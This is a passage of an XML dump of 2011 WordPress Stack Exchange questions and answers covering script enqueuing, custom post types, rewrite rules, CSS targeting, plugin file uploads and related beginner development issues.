CommentCount="4" />
  <row Id="21009" PostTypeId="2" ParentId="21007" CreationDate="2011-03-22T04:45:01.560" Score="3" ViewCount="" Body="&lt;p&gt;Have a look at this link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ericmmartin.com/5-tips-for-using-jquery-with-wordpress/&quot; rel=&quot;nofollow&quot;&gt;5-tips-for-using-jquery-with-wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add the scripts by calling a function in &lt;strong&gt;functions.php&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example how to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&#xA;function add_scripts(){&#xA;        wp_register_script('scriptName', 'Path to the script'); //Register script&#xA;        wp_enqueue_script('jquery'); &#xA;        wp_enqueue_script('scriptName'); //adding script&#xA;&#xA;    }&#xA;    add_action('init','add_scripts'); //calling function in init&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also this &lt;a href=&quot;http://weblogtoolscollection.com/archives/2010/05/06/adding-scripts-properly-to-wordpress-part-1-wp_enqueue_script/&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; will be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this one &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;function add_scripts(){&#xA;// Load jQuery&#xA;if ( !is_admin() ) {&#xA;   wp_register_script('jquery', (&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js&quot;), false);&#xA;   wp_enqueue_script('jquery');&#xA;}&#xA;// Your Scripts&#xA;wp_register_script('script1', get_bloginfo('url').'/wp-content/uploads/social_counter/js/jquery.tipTip.minified.js');&#xA;wp_register_script('script2',get_bloginfo('url').'/wp-content/uploads/social_counter/js/social_counter.js',array('jquery'),'1.4.2',false);&#xA;wp_enqueue_script('script1');&#xA;wp_enqueue_script('script2');&#xA;}&#xA;add_action('init','add_scripts');&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="4026" LastActivityDate="2011-03-22T06:16:03.883" CommentCount="7" />
  <row Id="21010" PostTypeId="2" ParentId="20990" CreationDate="2011-06-25T10:58:02.677" Score="1" ViewCount="" Body="&lt;p&gt;By using wp_update_post(), found in wp-includes/post.php&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-06-25T10:58:02.677" CommentCount="1" />
  <row Id="21011" PostTypeId="1" AcceptedAnswerId="21059" CreationDate="2011-06-25T11:41:33.640" Score="0" ViewCount="70" Body="&lt;p&gt;Can I change the order in which connections are displayed ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I create say three connections and then display them at the bottom of my article, I will get them in reverse order. How can I change that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use 'orderby' and 'order' but it has no effect whatsoever :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$connected_titles = new WP_Query( array(&#xA;'post_type' =&amp;gt; 'as_title',&#xA;'nopaging' =&amp;gt; true,&#xA;'orderby' =&amp;gt; 'title',&#xA;'order' =&amp;gt; 'DESC',&#xA;'suppress_filters' =&amp;gt; false,&#xA;'connected_from' =&amp;gt; get_queried_object_id()&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5915" LastEditorUserId="5915" LastEditorDisplayName="" LastEditDate="2011-06-25T18:00:24.457" LastActivityDate="2011-06-25T22:24:43.493" Title="[Plugin: Posts 2 Posts] Changing display order of connections" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="21012" PostTypeId="1" AcceptedAnswerId="21016" CreationDate="2011-06-25T11:49:55.210" Score="0" ViewCount="36" Body="&lt;p&gt;I'm trying to hide the overflow in CSS for specific template pages but can't seem to get it to work - I know that template pages are prefixed with a class but this doesn't seem to help targeting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I could use the is_page_template() function to hide the overflow with JS but this should be simpler with CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this works...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html {&#xA;    overflow: hidden;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this doesn't work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html .page-template-showreel-php {&#xA;    overflow: hidden;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas why? Surely this should be possible with CSS.&lt;/p&gt;&#xA;" OwnerUserId="6374" LastActivityDate="2011-06-25T20:54:10.137" Title="Hide Overflow on a Specific WordPress Template" Tags="&lt;css&gt;&lt;page-template&gt;" AnswerCount="1" />
  <row Id="21013" PostTypeId="1" CreationDate="2011-06-25T11:51:22.107" Score="0" ViewCount="19" Body="&lt;p&gt;I'm using a custom menu in my WP installation and want to include a 'Edit Profile' that links to a user's bbpress edit profile page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the following function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bbp_get_user_profile_edit_link()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which looks like this in the sidebar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php bbp_get_user_profile_edit_link(); ?&amp;gt;&quot; class=&quot;button&quot;&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Edit Profile','mytheme')?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that doesn't work. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-06-25T11:51:22.107" Title="What is the correct way to include a bbpress user's edit profile link?" Tags="&lt;bbpress&gt;" />
  <row Id="21014" PostTypeId="1" AcceptedAnswerId="21018" CreationDate="2011-06-25T11:52:10.590" Score="0" ViewCount="51" Body="&lt;p&gt;I'm trying to write a relatively simple plugin. I have two php files, one is included within the other like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'PLUGIN_DIR', dirname(__FILE__).'/' );&#xA;include_once(PLUGIN_DIR . '/included_file.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Things look fine. However I'm getting errors when I try to call some wordpress functions from within the included file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined&#xA;  function xxx() ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The odd this is, only on some functions but not others. For example, if I place this code at the top of the included file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!function_exists('add_action')) echo &quot;&amp;lt;h1&amp;gt;add_action not found&amp;lt;/h1&amp;gt;&quot;;&#xA;if (!function_exists('check_admin_referer')) echo &quot;&amp;lt;h1&amp;gt;check_admin_referer not found&amp;lt;/h1&amp;gt;&quot;;&#xA;if (!function_exists('wp_verify_nonce')) echo &quot;&amp;lt;h1&amp;gt;wp_verify_nonce not found&amp;lt;/h1&amp;gt;&quot;;&#xA;if (!function_exists('wp_nonce_field')) echo &quot;&amp;lt;h1&amp;gt;wp_nonce_field not found&amp;lt;/h1&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;check_admin_referer not found&#xA;wp_verify_nonce not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so only two out of these four functions are accessible in the included file...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm probably missing something very basic, but I'm a bit stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I tried creating a very basic plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;    Plugin Name: Test this&#xA;    Plugin URI: http://www.gingerlime.com&#xA;    Description: test&#xA;    Author: Yoav Aner&#xA;    Version: 1.0&#xA;    Requires at least: 3.1&#xA;    Author URI: http://blog.gingerlime.com&#xA;    License: GPL 2.0, @see http://www.gnu.org/licenses/gpl-2.0.html&#xA;&#xA;*/&#xA;if (!function_exists('add_action')) echo &quot;&amp;lt;h1&amp;gt;add_action not found&amp;lt;/h1&amp;gt;&quot;;&#xA;if (!function_exists('check_admin_referer')) echo &quot;&amp;lt;h1&amp;gt;check_admin_referer not found&amp;lt;/h1&amp;gt;&quot;;&#xA;if (!function_exists('wp_verify_nonce')) echo &quot;&amp;lt;h1&amp;gt;wp_verify_nonce not found&amp;lt;/h1&amp;gt;&quot;;&#xA;if (!function_exists('wp_nonce_field')) echo &quot;&amp;lt;h1&amp;gt;wp_nonce_field not found&amp;lt;/h1&amp;gt;&quot;;&#xA;if (function_exists('add_action')) echo &quot;&amp;lt;h1&amp;gt;add_action found&amp;lt;/h1&amp;gt;&quot;;&#xA;if (function_exists('check_admin_referer')) echo &quot;&amp;lt;h1&amp;gt;check_admin_referer found&amp;lt;/h1&amp;gt;&quot;;&#xA;if (function_exists('wp_verify_nonce')) echo &quot;&amp;lt;h1&amp;gt;wp_verify_nonce found&amp;lt;/h1&amp;gt;&quot;;&#xA;if (function_exists('wp_nonce_field')) echo &quot;&amp;lt;h1&amp;gt;wp_nonce_field found&amp;lt;/h1&amp;gt;&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as soon as the plugin is activated it prints &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;check_admin_referer not found&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;wp_verify_nonce not found&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;add_action found&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;wp_nonce_field found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried it on two wordpress installations. I might try a completely fresh wordpress and see what's going on. Strange.&lt;/p&gt;&#xA;" OwnerUserId="4741" LastEditorUserId="4741" LastEditorDisplayName="" LastEditDate="2011-06-25T12:30:22.960" LastActivityDate="2011-06-25T13:14:40.503" Title="can't access some worpress function from my plugin" Tags="&lt;plugin-development&gt;&lt;functions&gt;&lt;include&gt;" AnswerCount="1" />
  <row Id="21015" PostTypeId="2" ParentId="20951" CreationDate="2011-06-25T12:03:10.033" Score="0" ViewCount="" Body="&lt;p&gt;Well, it works if i use a filter like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('getarchives_where','docs_filter');&#xA;&#xA;function docs_filter($where_clause) {&#xA;  return &quot;WHERE post_type = 'cpt_docs' AND post_status = 'publish'&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thk all.&lt;/p&gt;&#xA;" OwnerUserId="1484" LastActivityDate="2011-06-25T12:03:10.033" />
  <row Id="21016" PostTypeId="2" ParentId="21012" CreationDate="2011-06-25T12:06:25.240" Score="0" ViewCount="" Body="&lt;p&gt;This:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html .page-template-showreel-php {&#xA;    overflow: hidden;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...will target &lt;code&gt;body.page-template-showreel-php&lt;/code&gt;. So, two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Do you have the &lt;code&gt;&amp;lt;?php body_class(); ?&amp;gt;&lt;/code&gt; template tag inside of the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; HTML tag?&lt;/li&gt;&#xA;&lt;li&gt;Is hiding overflow on the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag &lt;em&gt;really&lt;/em&gt; what you're after, or do you need to target a descendant element?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no semantic or programmatic reason that you can't re-use the &lt;code&gt;&amp;lt;?php body_class(); ?&amp;gt;&lt;/code&gt; template tag inside the &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; tag also. So, you might consider:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;html &amp;lt;?php body_class(); ?&amp;gt;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html.page-template-showreel-php {&#xA;    overflow: hidden;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Worth a shot...&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-25T20:54:10.137" LastActivityDate="2011-06-25T20:54:10.137" CommentCount="3" />
  <row Id="21017" PostTypeId="2" ParentId="20989" CreationDate="2011-06-25T12:07:50.200" Score="0" ViewCount="" Body="&lt;p&gt;it depends on what you're looking at - sounds like you're looking at a post - if this is the case then the file you're after is single.php ( unless there is a bespoke template in the theme for displaying single posts ) .... if you're looking at categories then it would be category.php, pages then page.php etc - there can be any number of them in a theme so you'd have to nose it out yourself ..... what i do is go to a file eg single.php and add a bit of text something like echo&quot;single&quot;; to it and then browse to check if i've got the right template - if i see &quot;single&quot; written on the page then i know i'm editing the correct template ( these are template files in the theme directory wp-content/themes/yourtheme and nothing to do with the core [although you still might want to back them up before you adjust and if you update your theme in the futre you will overwrite your changes so you should note them])&lt;/p&gt;&#xA;" OwnerUserId="6169" LastActivityDate="2011-06-25T12:07:50.200" />
  <row Id="21018" PostTypeId="2" ParentId="21014" CreationDate="2011-06-25T12:18:06.933" Score="0" ViewCount="" Body="&lt;p&gt;First, since the &lt;code&gt;if (!function_exists('check_admin_referer')) echo &quot;&amp;lt;h1&amp;gt;check_admin_referer not found&amp;lt;/h1&amp;gt;&quot;;&lt;/code&gt; code is working, then you've eliminated the issue being proper including of your Plugin sub-file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, all four of those functions are &lt;em&gt;core WordPress functions&lt;/em&gt;, so you should &lt;em&gt;never&lt;/em&gt; get a &lt;code&gt;call to undefined function&lt;/code&gt; error for any of them. Can you post your relevant Plugin code, so we can see what's going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My best guess is that certain functions aren't available until certain &lt;em&gt;actions&lt;/em&gt; within the WordPress processing sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try hooking your function into &lt;code&gt;init&lt;/code&gt;, or &lt;code&gt;admin_init&lt;/code&gt;, and see if the errors disappear.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-25T13:14:40.503" LastActivityDate="2011-06-25T13:14:40.503" CommentCount="4" />
  <row Id="21019" PostTypeId="2" ParentId="21004" CreationDate="2011-06-25T13:20:32.750" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried the Smart 404 plugin?&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/smart-404/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/smart-404/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6493" LastActivityDate="2011-06-25T13:20:32.750" />
  <row Id="21020" PostTypeId="1" CreationDate="2011-06-25T13:39:06.953" Score="0" ViewCount="90" Body="&lt;p&gt;i am making a small imagemerger utility for my client below is where i am up to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Runs when plugin is activated */&#xA;register_activation_hook(__FILE__,'ImageMerge_install'); &#xA;&#xA;/* Runs on plugin deactivation*/&#xA;register_deactivation_hook( __FILE__, 'ImageMerge_remove' );&#xA;&#xA;function ImageMerge_install() {&#xA;&#xA;    add_option(&quot;ImageMerge_data&quot;, 'Default', '', 'yes');&#xA;&#xA;}&#xA;&#xA;function ImageMerge_remove() {&#xA;/* Deletes the database field */&#xA;    delete_option('ImageMerge_data');&#xA;}&#xA;&#xA;&#xA;if ( is_admin() ){&#xA;&#xA;/* Call the html code */&#xA;add_action('admin_menu', 'ImageMerge_admin_menu');&#xA;&#xA;    function ImageMerge_admin_menu() {&#xA;            add_options_page('Image Merging Utility', 'Image Merger', 'administrator',&#xA;            'ImageMerger', 'ImageMerge_html_page');&#xA;        }&#xA;&#xA;    function ImageMerge_html_page()&#xA;    {&#xA;            echo '&amp;lt;pre&amp;gt;'.print_r($_REQUEST);&#xA;        ?&amp;gt;&#xA;&#xA;&amp;lt;div&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;form name=&quot;Image&quot; enctype=&quot;multipart/form-data&quot; action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;First Image = &amp;lt;input type=&quot;file&quot; name=&quot;first&quot; id=&quot;first&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;Second Image =&amp;lt;input type=&quot;file&quot; name=&quot;second&quot; id=&quot;second&quot; /&amp;gt; &amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code displays the form correctly with two input fields now i want to grab the contents of these two files and apply image processing on them and then make them a single image for my client to embedd it later on in the post editor . &#xA;For this what i am thinking of providing my client is to save the file in some folder and give instructions to the client to embedd the image he is creating from this utility to his posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please guide me how can i grab the post data especially the $_FILES  i do not want to save any thing to database right now but in future may be yes. &lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="5334" LastEditorDisplayName="" LastEditDate="2011-06-26T13:06:51.567" LastActivityDate="2011-06-26T13:06:51.567" Title="file upload in wordpress admin plugin how to" Tags="&lt;plugins&gt;&lt;admin&gt;" />
  <row Id="21021" PostTypeId="2" ParentId="1324" CreationDate="2011-06-25T15:00:53.200" Score="0" ViewCount="" Body="&lt;p&gt;I think you were looking for something like WP Resume:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-resume/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-resume/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ben.balter.com/2010/09/12/wordpress-resume-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://ben.balter.com/2010/09/12/wordpress-resume-plugin/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6495" LastActivityDate="2011-06-25T15:00:53.200" />
  <row Id="21022" PostTypeId="1" AcceptedAnswerId="22490" CreationDate="2011-06-25T15:03:17.303" Score="4" ViewCount="303" Body="&lt;p&gt;Basically I want to achieve a glossary using custom post types and have some issues setting up rewrites the way I want them to be. I want it like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main glossary URL:&#xA;&lt;code&gt;http://example.com/glossary/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Glossary terms starting with letter &lt;strong&gt;A&lt;/strong&gt;:&#xA;&lt;code&gt;http://example.com/glossary/a/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL for a single glossary term:&#xA;&lt;code&gt;http://example.com/glossary/a/atomic/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually achieved this using the code below but I'm sure that it's a very awkward way to do it and I know it's malfunctioning somewhere as the wrong templates are called when viewing the pages. Except for &lt;a href=&quot;http://example.com/glossary/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/glossary/&lt;/a&gt;, where archive-sumo-glossary-term.php gets called as expected, the other two just activate index.php in my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here goes (&lt;code&gt;functions.php&lt;/code&gt; in the theme):&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-php prettyprint-override&quot;&gt;&lt;code&gt;add_action('init', 'create_glossary');&#xA;function create_glossary()&#xA;{&#xA;    register_post_type&#xA;    (&#xA;        'sumo-glossary-term',&#xA;        array&#xA;        (&#xA;            'labels' =&amp;gt; array&#xA;            (&#xA;                'name' =&amp;gt; _x('Glossary Terms', 'post type general name'),&#xA;                'singular_name' =&amp;gt; _x('Glossary Term', 'post type singular name')&#xA;                # And so on …&#xA;            ),&#xA;            'supports' =&amp;gt; array('title', 'editor', 'thumbnail'),&#xA;            'public' =&amp;gt; true,&#xA;            'rewrite' =&amp;gt; array&#xA;            (&#xA;                'slug' =&amp;gt; 'glossary',&#xA;                'with_front' =&amp;gt; false&#xA;&#xA;            ),&#xA;            'query_var' =&amp;gt; 'glossary-term',&#xA;            'has_archive' =&amp;gt; true&#xA;        )&#xA;    );&#xA;&#xA;    register_taxonomy&#xA;    (&#xA;        'sumo-glossary-letter',&#xA;        'sumo-glossary-term',&#xA;        array&#xA;        (&#xA;            'hierarchical' =&amp;gt; true,&#xA;            'labels' =&amp;gt; array&#xA;            (&#xA;                'name' =&amp;gt; _x('Letters', 'taxonomy general name'),&#xA;                'singular_name' =&amp;gt; _x('Letter', 'taxonomy singular name')&#xA;                # And so one&#xA;            ),&#xA;            'show_ui' =&amp;gt; true,&#xA;            'query_var' =&amp;gt; 'glossary-letter',&#xA;            'rewrite' =&amp;gt; false&#xA;        )&#xA;    );&#xA;}&#xA;&#xA;add_filter('post_type_link', 'glossary_term_permalink', 10, 4);&#xA;function glossary_term_permalink($post_link, $post, $leavename, $sample)&#xA;{&#xA;    if ($post-&amp;gt;post_type == 'sumo-glossary-term')&#xA;    {&#xA;        $permalink = str_replace('glossary/', 'glossary/' . $post-&amp;gt;post_name[0] . '/', $post_link);&#xA;    }&#xA;    return $permalink;&#xA;}&#xA;&#xA;add_rewrite_rule('^glossary/([^/]*)?$','index.php?glossary-letter=$matches[1]','top');&#xA;add_rewrite_rule('^glossary/([^/]*)/([^/]*)?$','index.php?glossary-term=$matches[2]','top');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2637" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-07-09T12:44:28.017" LastActivityDate="2011-07-09T12:53:01.533" Title="Mixing custom post type and taxonomy rewrite structures?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;&lt;url-rewriting&gt;" AnswerCount="2" FavoriteCount="4" />
  <row Id="21023" PostTypeId="2" ParentId="20506" CreationDate="2011-06-25T15:11:17.453" Score="1" ViewCount="" Body="&lt;p&gt;You might want to play around with &lt;code&gt;Walker_Comment&lt;/code&gt; in wp-includes/comment-template.php.&lt;/p&gt;&#xA;" OwnerUserId="2637" LastActivityDate="2011-06-25T15:11:17.453" />
  <row Id="21024" PostTypeId="1" CreationDate="2011-06-25T15:13:05.583" Score="0" ViewCount="149" Body="&lt;p&gt;I have created a simple custom post type called &quot;News&quot; in functions.php using the wordpress codex more or less word for word. It is configured to have both categories and tags (just in case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is the instability of the permalink structure...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the title of the custom type suggests the content consists of short updates that I want to keep seperate from my blog. They appear on my home page, with a &quot;more link&quot; to read the full aticle. Frequently I click to navigate to the full article or to go to the news archive and I get a 404. If I flush permalinks it works again. What I do not know is how often this happens to visiters who obviously cannot flush anything... I know that, on occasion webmaster tools do show up a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do to improve the stability of the permalink structure, so that it doesn't break every 5 minutes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In looking through questions about the same topic I have found this : &quot;$wp_rewrite-&gt;flush_rules();&quot; I don't know what it means or does as my understanding of permalinks (and most PHP) is very limited. Is there something I should put in functions PHP that ensures permalink stability ?&lt;/p&gt;&#xA;" OwnerUserId="5232" LastActivityDate="2011-08-31T10:37:33.217" Title="Custom post types, permalinks &amp; 404s" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;404-error&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="21025" PostTypeId="2" ParentId="2990" CreationDate="2011-06-25T15:14:35.940" Score="0" ViewCount="" Body="&lt;p&gt;I've been searching for this as well. My theme presently sends out an auto password. Would like to find a way to force a password change upon first time login&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-06-25T15:14:35.940" />
  <row Id="21026" PostTypeId="1" CreationDate="2011-06-25T16:04:19.107" Score="0" ViewCount="47" Body="&lt;p&gt;Hi i searched the complete archive of wordpress plugins  but couldn't find the right plugin to enable Paid downloads. The website is just a Pay to download &quot;Full Music&quot; site. Visitor is provided with a sample music to hear and if he decides to download the music he should pay to dowload via Payment gateway like Paypal, Alertpay etc.&#xA;I would love to hear from your experiences and thoughts about this&lt;/p&gt;&#xA;" OwnerUserId="2476" LastActivityDate="2011-06-25T16:14:03.383" Title="Constructing a Pay to Download music website with wordpress" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;design&gt;&lt;membership&gt;&lt;paypal&gt;" AnswerCount="1" />
  <row Id="21027" PostTypeId="1" CreationDate="2011-06-25T16:04:39.413" Score="0" ViewCount="36" Body="&lt;p&gt;I'm working with an old (now unmaintained) widget, which only allows one instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I want to have a different sidebar on the homepage and I want this widget on both sidebars, I figure I need to do one of two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Update the plugin to use the new widget API&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;the_widget()&lt;/code&gt; to manually drop the widget into the custom sidebar&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've opted to do the latter as a quick fix, but can't figure out the parameters needed to get it to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="562" LastActivityDate="2011-08-26T09:34:58.290" Title="How can I detemine the parameters needed by the_widget()?" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;template-tags&gt;" AnswerCount="1" />
  <row Id="21028" PostTypeId="2" ParentId="10727" CreationDate="2011-06-25T16:08:57.443" Score="0" ViewCount="" Body="&lt;p&gt;Answer 1 is not the best way... it's the old way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best solution going which I have found, and use regularly for moving site from local dev to live is at &lt;a href=&quot;http://pluginbuddy.com/purchase/backupbuddy/&quot; rel=&quot;nofollow&quot;&gt;http://pluginbuddy.com/purchase/backupbuddy/&lt;/a&gt;. It backs up everything, including databases and plugins, and lets you restore a site or migrate an entire site to a new server.  You don't even install WP on the new server because backup buddy does it all. A full migration from local to live takes about 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For being able to save your widget setup to each specific theme you have under a WP install the plugin at &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-saver/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/widget-saver/&lt;/a&gt; is most excellent.&lt;/p&gt;&#xA;" OwnerUserId="6497" LastActivityDate="2011-06-25T16:08:57.443" />
  <row Id="21029" PostTypeId="2" ParentId="21026" CreationDate="2011-06-25T16:14:03.383" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/eshop/&quot; rel=&quot;nofollow&quot;&gt;eShop&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-e-commerce/&quot; rel=&quot;nofollow&quot;&gt;wp e-commerce&lt;/a&gt; both offer downloadable products.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-25T16:14:03.383" />
  <row Id="21030" PostTypeId="1" CreationDate="2011-01-18T19:21:39.453" Score="0" ViewCount="64" Body="&lt;p&gt;I want to add google analytics to my free wordpress.com blog. I have the html tracking code but I can't figure out how to add it to  my blog from the wordpress.com dashboard.&lt;/p&gt;&#xA;" LastActivityDate="2011-06-25T16:23:52.087" Title="How do I add google tracking code to a wordpress.com site?" Tags="&lt;google-analytics&gt;&lt;wordpress.com&gt;" AnswerCount="2" />
